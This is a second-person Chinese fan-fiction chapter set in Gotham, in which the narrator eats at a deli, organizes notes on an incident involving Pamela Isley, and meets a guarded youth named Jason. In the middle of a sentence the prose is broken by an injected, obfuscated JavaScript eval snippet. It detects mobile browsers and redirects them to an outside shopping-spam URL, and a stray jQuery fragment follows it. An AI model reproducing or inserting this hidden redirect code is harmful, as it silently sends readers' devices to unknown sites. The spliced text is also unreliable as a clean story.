你再次醒来时,天光已经从落地窗的边缘爬进来,像一把极细的刀,沿着窗框切出一条稳定的亮线。钻石区的清晨没有鸟叫,只有城市的低频运转声、远处空调外机的震动、以及电梯井深处那种几乎听不见的金属回响。
你在床上坐起,指腹揉过眼睛,睫毛压出短暂的阴影。镜子里的人看起来睡得并不久,皮肤却仍旧干净得过分,像是连疲惫都在这个公寓里过滤了一遍。你刷牙时盯着自己看了两秒:唇色偏淡,眼尾微微泛红,骨相在冷光下显得锋利。水流冲过指尖,你洗脸,抬头,水珠沿着下颌线落下去滑走。
你走出浴室,赤脚踩在地毯上,声音被完全吞掉。
厨房在下层。
你下楼,灯感应到你的脚步,沿着天花板边缘一盏一盏亮起来。厨房的设备一应俱全:嵌入式烤箱、咖啡机、恒温酒柜、甚至还有一台看起来能在一分钟内毁掉人类自制力的制冰机。台面干净,干净到你怀疑它从来没有承受过真正的生活。
你拉开冰箱门。
冷气涌出来,内部空得像一个刻意留白的展览柜。
只有一格饮料冰箱是满的——玻璃瓶、易拉罐、能量饮料按品牌分区,排列整齐。你抬手取出一瓶水,目光扫到头顶橱柜,那里有一盒麦片,旁边躺着几包看起来从未被撕开的能量棒。你打开另一个柜门,但是没找到牛奶。
你喝了两口水,喉咙里那点干涩被压下去。你回到玄关,换上连帽衫,帽檐压低,拉链拉到锁骨,口袋里塞好现金与卡。钥匙扣在指间转了一圈,落回掌心。你顺手把手机挂绳绕过手腕。
电梯下行,数字跳动很稳。门开,钻石区的街景迎面铺开。
这里的清晨像经过剪辑:道路干净,车流克制,玻璃幕墙反射出一层平静的银。行人很少,每个人都走得像有明确的目的地,肩线挺直,脚步不拖沓。你沿着街角往外走,路边的咖啡店还没开门,门口的标牌写着“Cold Brew”(冷萃咖啡),字形漂亮。
你要找的是 Deli(熟食店/小杂货店)。
钻石区的 Deli(熟食店/小杂货店)不会像考文垂那样贴着防盗铁网,也不会把炸鸡和彩票机摆在同一张桌上。它更精致:灯光偏暖,收银台干净,玻璃柜里摆着火鸡、牛肉、奶酪,旁边放着新鲜的面包。门口的铃铛一响,里面的咖啡香就先一步迎出来。
柜台后面站着一个中年男人,皮肤被寒风磨出细纹,口音带着明显的布鲁克林尾音,语气里有一种长期站着干活才会出现的干脆。
“Morning.”(早上好。)他抬眼看你,“What can I get yah?”(想吃点什么/我能给你来点什么?)
你扫了一眼菜单板,字很多,选择也很多。你把复杂的世界压缩成一句话:“Chicken sandwich. Toasted. Extra pickles.”(鸡肉三明治。烤一下。多加酸黄瓜。)
他笑了一下,像听到一个合理的决定:“You got it. Anything to drink?”(没问题。喝点什么?)
“Water.”(水。)你说。
他手脚很快,切面包、抹酱、铺鸡肉、压热板,动作一气呵成。你看着他做事的节奏,脑中却已经开始把昨晚那一段记忆往文件夹里归档:火的味道、痕迹的方向、根系穿透管线的传闻、帕米拉那条“正在输入又消失”的消息。你不希望情绪先到场,你需要先分析事实。
你刷卡付钱,接过纸袋,热度透过纸面烫到指尖。你转身找了靠窗的位置坐下。窗外的街道像一张被擦得发亮的桌面,干净、平整,任何污点都会显得突兀。你啃了一口三明治,味道扎实,盐和油脂,让你的胸口油然而生一股满足感。
你把手机放在桌面,屏幕亮起,指纹解锁。
第一条是保险公司发来的邮件,附件清单长得像一份“哥谭居民生存指南”:警方报告编号、消防说明、房东书面声明、现场照片、临时安置证明。你把它标星,归入“必交材料”。
第二条是迪克的消息,时间停在凌晨一点多。
【Stay put. Don’t go back alone. I’ll call you after shift.】(待在原地。别一个人回去。我下班后给你打电话。)
你没有回复“好”。你回了一个更接近行动的答案。
【Understood. I’m starting a timeline.】(明白。我开始整理时间线。)
第三条消息来自帕米拉,凌晨四点。
她只发了一句:
【Are you safe?】(你安全吗?)
问候很短,像一根针。你盯着那行字看了两秒,你没有立刻回复。你先打开备忘录,新建一页,标题写得像一份案卷:
《Coventry Incident / Pam Isley / Arkham Link》(《考文垂事件 / 帕姆·艾斯利 / 阿卡姆关联》)
你把时间轴拉开。
你把“第一次认识帕米拉的时间、地点、她携带的物品、她的路线选择、她对权限的了解”一条条写进去。你把“温棚结构受损、地下管线被根系穿透、异常生物活性”写成三条独立的事件,再在旁边加上可能的共同点。你用括号标注信息来源。
写到这里,你停了一下。
你打开 TrackCare 的移动端入口,登录界面弹出权限提示。你没有越界的打算,你只需要确认一个事实:阿卡姆近一个月内有没有“植物相关”的突发记录,或与“空气样本异常”相关的环境报告。你像在摸一扇门的门框,指尖只碰边缘,确认它存在。
你退出来。
你把注意力转向更“合法”的那部分:公开信息。
你打开新闻聚合,搜索“East District greenhouse incident”。结果跳出来,标题各自夸张,内容大同小异。你不看情绪,你找细节:封锁范围、时间点、部门出动、是否出现二次事故。你把能用的部分摘下来,填进时间轴。你再搜索“Isley Gotham University plant lab”。公开资料里有帕米拉的名字,研究方向写得很漂亮,关键词像一串精心挑选过的花:accelerated growth(加速生长)、adaptive resilience(适应性韧性)、environmental response(环境响应)。
你咀嚼着这几个词,像是要把一颗软糖嚼成硬糖般破碎。
你反复在心里告诉自己先建立证据链,再建立情绪。虽然委屈的情绪早就像被层层闸门锁住的洪水,早已汹涌地堵在水坝的背面
纸袋里剩下半个三明治,你继续吃。你的视线掠过门口。
铃铛又响了一声。
进来的是个少年,身形很利落,外套拉链拉得很高,帽檐压着半张脸。他走路的姿态像随时能发力,也像随时能转身消失。店里暖气很足,他没有脱外套,像不愿意让自己“变得舒适”。
这里是钻石区的 deli,时间尚早,大多数客人要么是附近上班族,要么是长期住在这片区域的人。这个男生太年轻了,和“随便买杯咖啡”的人群并不完全贴合。
身形还没完全长开,肩线偏窄,却并不显得单薄。外套对他来说略微偏大,拉链一路拉到下巴,像是习惯把自己包进一个不容易被触碰的边界里。帽檐压得很低,遮住了额头,只露出下半张脸——线条很利落,下颌线清晰,带着少年尚未褪尽的干净,却已经有了不属于这个年纪的紧绷感。
他在柜台前停下,点了杯黑咖啡,声音低,带一点懒散。你听见店主回他一句玩笑,他也回了一个短促的笑,笑意停在嘴角,不往眼睛里走。
他抬头看向柜台时,帽檐下的脸短暂地露出来。
黝黑的头发被帽子压过之后仍旧带着一点不太服帖的弧度,发梢贴着额角,显得随意却不凌乱。眼睛是偏浅的蓝色,在店里偏暖的灯光下显得冷,却并不疏离。那种冷不是拒人千里,而是一种被克制过的专注感。
眉骨靠近眼尾的位置有一道很浅的新伤,没有结痂完全成型,边缘还带着一点未褪尽的红。不是撕裂伤,更像是被什么硬物擦到过,处理得很随意,显然并不在意是否会留下痕迹。
那道伤并不显眼。
它不会让人停下来盯着看,也不会破坏他的表情,却在他眨眼的时候被牵动了一下,存在感短暂而明确。
你注意到他对此毫无反应。
抬眼、转头、开口说话,动作都很自然,像是已经习惯在身体带着不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17116921|195924||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
适的情况下继续行动。
他转身时,你看见他腰侧那一道微妙的隆起,像被衣料掩住的硬物。你不需要把它想得过分具体。你只需要知道:他在这家 Deli(熟食店/小杂货店)的存在感并不符合“买咖啡的人”。
你把视线收回来,继续看手机。你让自己的注意力像一条线,贴着桌面滑过去。
你给帕米拉回了一条信息,字数很少,语气平稳。
【Safe. Thanks. What happened in East District… do you know anything?】(安全。谢谢。东区发生的事……你知道些什么吗?)
发送。
你把手机扣回桌面,指尖在屏幕边缘轻轻敲了一下,像敲一个节拍。
同一秒,你感到一道目光落在你这边。
不是好奇的那种目光。是“确认”的那种。
你抬眼。
那个少年端着咖啡,站在离你两张桌的位置。他没有直勾勾看你,他看的是你桌上的手机、你挂在手腕上的挂绳、你写字时下意识保持的肩背角度。他的视线像扫过一张地图,找的是入口与出口。
他开口,语气像随口搭话,字却咬得很准。
“你住韦恩大楼?”
你把剩下的三明治放回纸袋,手指擦过桌边的纸巾,动作很慢。
“你怎么知道?”你问。
他把咖啡杯轻轻放下,杯底与桌面碰出一声闷响,像是要把一颗钉子锤进木头里。
“这里的人不把手机挂手腕。”他说,“只有刚从别的区搬过来的人会这么做。”
他说完这句话,没有再补充。
语气平直,没有得意,也没有试探成功后的松动,像是在陈述一个已经被验证过的结果。他端起咖啡,喝了一口,动作很自然,仿佛这句话本身并不需要对方立刻回应。
你没有立刻接话。
他说的理由说得过去。
钻石区确实很少有人把手机挂在手腕上。这里的人很少有如此条件反射式的自我防护。
问题在于:他为什么会去注意这一点。
你抬眼看他。
这一次,你没有避开他的视线。你让目光在他脸上停了一瞬,落点很轻,却足够完整——帽檐下的眉骨伤口的位置以及那种被压在年轻外表之下的警觉。
“那也解释不了你为什么关心。”你说。
语气同样平稳。
这句话不是反问,更像是把白色母球放回台球桌面中央。
他顿了一下。
那是一种很短的停顿,短到几乎不会被当成犹豫,却刚好暴露出一个事实,他没打算在这一轮把话说满。
“只是觉得不常见。”他说。
你注意到,他在用一个模糊的形容词收束刚才那条过于精准的判断。
你内心轻轻一笑,点了一下头,像是接受了这个解释。
你当然知道这不是完整答案。
你知道,一旦继续,这场对话就会进入一个无法轻易收回的层级
你选择停在这里。
“钻石区不常见的事很多。”你说,“不一定都有问题。”
你选择给他一个台阶下。
他听懂了。
“也是。”他说。
这一次,他笑得稍微真了一点,笑意终于短暂地进了眼睛,却只停留了一拍,下一秒便被他亲手按回原位。
“我叫杰森。”
他说这句话的时候,没有伸手,也没有靠近,只是把名字放出来,像在桌上留下一个可以被日后引用的标签。
你没有立刻报出自己的名字。
你只是看了他一眼,然后把注意力重新放回手机屏幕。
“知道了。”你说。
这个回应并不热络,却足够礼貌;不构成邀请,也不构成拒绝。
他没有继续站着。
他端着咖啡走向另一侧的窗边,背对着你坐下。你看见他坐下时下意识选了一个能同时看到门口和街道的位置,背部靠着实体支撑,视线高度恰好。
你没有再看他。
几秒后,你打开备忘录,新建一个小文件夹。
你在标题栏里输入:
【Jason】
没有标签,没有备注。
暂存。